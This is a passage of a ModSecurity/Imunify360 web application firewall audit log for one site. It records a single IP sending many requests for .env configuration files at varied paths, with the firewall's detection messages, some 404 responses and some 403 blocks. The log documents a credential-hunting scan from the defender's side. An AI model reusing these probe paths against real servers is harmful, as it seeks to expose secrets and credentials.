Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--227a7e6a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--227a7e6a-E--

--227a7e6a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/development/.env"] [unique_id "aqZ0ikwu1RSkptiiNIX5jgAAAIY"]
Stopwatch: 1789293706775490 5549 (- - -)
Stopwatch2: 1789293706775490 5549; combined=4171, p1=348, p2=3727, p3=56, p4=6, p5=34, sr=189, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--227a7e6a-Z--

--fb811450-A--
[13/Sep/2026:13:01:46.790756 +0300] aqZ0ikwu1RSkptiiNIX5jwAAAJI 45.138.12.13 54508 127.0.0.1 7081
--fb811450-B--
GET /api/shared/config/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--fb811450-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--fb811450-E--

--fb811450-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/api/shared/config/.env"] [unique_id "aqZ0ikwu1RSkptiiNIX5jwAAAJI"]
Stopwatch: 1789293706784973 5857 (- - -)
Stopwatch2: 1789293706784973 5857; combined=4531, p1=228, p2=4200, p3=59, p4=7, p5=36, sr=92, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fb811450-Z--

--d8679a01-A--
[13/Sep/2026:13:01:46.807600 +0300] aqZ0ikwu1RSkptiiNIX5kgAAAIo 45.138.12.13 54492 127.0.0.1 7081
--d8679a01-B--
GET /website/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--d8679a01-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d8679a01-E--

--d8679a01-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/website/.env"] [unique_id "aqZ0ikwu1RSkptiiNIX5kgAAAIo"]
Stopwatch: 1789293706802125 5647 (- - -)
Stopwatch2: 1789293706802125 5647; combined=4289, p1=245, p2=3938, p3=65, p4=7, p5=34, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d8679a01-Z--

--96300256-A--
[13/Sep/2026:13:01:46.814085 +0300] aqZ0ikwu1RSkptiiNIX5lAAAAJg 45.138.12.13 54530 127.0.0.1 7081
--96300256-B--
GET /api/shared/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--96300256-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--96300256-E--

--96300256-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/api/shared/.env"] [unique_id "aqZ0ikwu1RSkptiiNIX5lAAAAJg"]
Stopwatch: 1789293706808344 5822 (- - -)
Stopwatch2: 1789293706808344 5822; combined=4788, p1=249, p2=4435, p3=58, p4=7, p5=38, sr=86, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--96300256-Z--

--b2c56757-A--
[13/Sep/2026:13:01:46.816058 +0300] aqZ0ikwu1RSkptiiNIX5lQAAAIA 45.138.12.13 54500 127.0.0.1 7081
--b2c56757-B--
GET /backend/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--b2c56757-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--b2c56757-E--

--b2c56757-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/backend/.env"] [unique_id "aqZ0ikwu1RSkptiiNIX5lQAAAIA"]
Stopwatch: 1789293706810360 5766 (- - -)
Stopwatch2: 1789293706810360 5766; combined=4431, p1=347, p2=3986, p3=55, p4=7, p5=36, sr=114, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b2c56757-Z--

--21f5c05a-A--
[13/Sep/2026:13:01:46.886258 +0300] aqZ0ikwu1RSkptiiNIX5mQAAAJI 45.138.12.13 54558 127.0.0.1 7081
--21f5c05a-B--
GET /.env.production.local HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--21f5c05a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--21f5c05a-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.production.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.production.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.env.production.local"] [unique_id "aqZ0ikwu1RSkptiiNIX5mQAAAJI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.env.production.local"] [unique_id "aqZ0ikwu1RSkptiiNIX5mQAAAJI"]
Action: Intercepted (phase 2)
Stopwatch: 1789293706825773 60546 (- - -)
Stopwatch2: 1789293706825773 60546; combined=59179, p1=200, p2=58716, p3=0, p4=0, p5=263, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--21f5c05a-Z--

--68e9ee61-A--
[13/Sep/2026:13:01:46.899492 +0300] aqZ0ikwu1RSkptiiNIX5nQAAAJA 45.138.12.13 54546 127.0.0.1 7081
--68e9ee61-B--
GET /.env.local HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--68e9ee61-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--68e9ee61-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.env.local"] [unique_id "aqZ0ikwu1RSkptiiNIX5nQAAAJA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.env.local"] [unique_id "aqZ0ikwu1RSkptiiNIX5nQAAAJA"]
Action: Intercepted (phase 2)
Stopwatch: 1789293706841336 58229 (- - -)
Stopwatch2: 1789293706841336 58229; combined=57007, p1=184, p2=56565, p3=0, p4=0, p5=258, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--68e9ee61-Z--

--d52e5530-A--
[13/Sep/2026:13:01:49.162343 +0300] aqZ0jUwu1RSkptiiNIX5ngAAAJg 45.138.12.13 54624 127.0.0.1 7081
--d52e5530-B--
GET /crm/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--d52e5530-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d52e5530-E--

--d52e5530-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/crm/.env"] [unique_id "aqZ0jUwu1RSkptiiNIX5ngAAAJg"]
Stopwatch: 1789293709157178 5231 (- - -)
Stopwatch2: 1789293709157178 5231; combined=4066, p1=328, p2=3645, p3=53, p4=6, p5=34, sr=180, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d52e5530-Z--

--4969c35f-A--
[13/Sep/2026:13:01:49.170218 +0300] aqZ0jTTJ6xTvcJoem7f7UwAAAEc 45.138.12.13 54694 127.0.0.1 7081
--4969c35f-B--
GET /web/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--4969c35f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--4969c35f-E--

--4969c35f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/web/.env"] [unique_id "aqZ0jTTJ6xTvcJoem7f7UwAAAEc"]
Stopwatch: 1789293709165291 4994 (- - -)
Stopwatch2: 1789293709165291 4994; combined=3830, p1=227, p2=3494, p3=52, p4=6, p5=51, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4969c35f-Z--

--6c4b984e-A--
[13/Sep/2026:13:01:49.183726 +0300] aqZ0jTTJ6xTvcJoem7f7VAAAAE0 45.138.12.13 54668 127.0.0.1 7081
--6c4b984e-B--
GET /apps/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--6c4b984e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--6c4b984e-E--

--6c4b984e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/apps/.env"] [unique_id "aqZ0jTTJ6xTvcJoem7f7VAAAAE0"]
Stopwatch: 1789293709178301 5521 (- - -)
Stopwatch2: 1789293709178301 5521; combined=4109, p1=220, p2=3761, p3=69, p4=7, p5=52, sr=91, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c4b984e-Z--

--68a78f69-A--
[13/Sep/2026:13:01:49.206992 +0300] aqZ0jTTJ6xTvcJoem7f7VgAAAEY 45.138.12.13 54652 127.0.0.1 7081
--68a78f69-B--
GET /core/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--68a78f69-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--68a78f69-E--

--68a78f69-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/core/.env"] [unique_id "aqZ0jTTJ6xTvcJoem7f7VgAAAEY"]
Stopwatch: 1789293709201202 5859 (- - -)
Stopwatch2: 1789293709201202 5859; combined=4478, p1=252, p2=4121, p3=57, p4=7, p5=40, sr=103, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--68a78f69-Z--

--0b6a857e-A--
[13/Sep/2026:13:01:49.213871 +0300] aqZ0jTTJ6xTvcJoem7f7VwAAAFM 45.138.12.13 54648 127.0.0.1 7081
--0b6a857e-B--
GET /local/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--0b6a857e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--0b6a857e-E--

--0b6a857e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/local/.env"] [unique_id "aqZ0jTTJ6xTvcJoem7f7VwAAAFM"]
Stopwatch: 1789293709208848 5091 (- - -)
Stopwatch2: 1789293709208848 5091; combined=3961, p1=195, p2=3589, p3=138, p4=7, p5=32, sr=85, sw=0, l=0, gc=0
